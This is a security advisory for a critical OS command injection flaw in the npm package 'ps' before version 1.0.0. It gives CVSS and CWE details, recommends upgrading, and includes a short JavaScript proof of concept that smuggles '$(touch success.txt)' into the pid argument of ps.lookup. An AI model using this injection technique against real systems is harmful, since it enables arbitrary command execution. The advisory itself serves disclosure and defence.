GHSA-cfhg-9x44-78h2

Suggest an improvement
Source
https://github.com/advisories/GHSA-cfhg-9x44-78h2
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/09/GHSA-cfhg-9x44-78h2/GHSA-cfhg-9x44-78h2.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-cfhg-9x44-78h2
Aliases
Published
2018-09-17T20:43:59Z
Modified
2023-11-08T03:59:59.454657Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
ps Enables OS Command Injection
Details

Versions of ps before 1.0.0 are vulnerable to command injection.

Proof of concept:

var ps = require('ps');

ps.lookup({ pid: "$(touch success.txt)" }, function(err, proc) { // this method is vulnerable to command injection
    if (err) {throw err;}
    if (proc) {
        console.log(proc);  // Process name, something like "node" or "bash"
    } else {
        console.log('No such process');
    }
});

// Result: The file success.txt will exist on the filesystem if the touch command was executed

Recommendation

Update to version 1.0.0 or later.

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-77",
        "CWE-78"
    ],
    "severity": "CRITICAL",
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:31:20Z"
}
References

Affected packages

npm / ps

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
1.0.0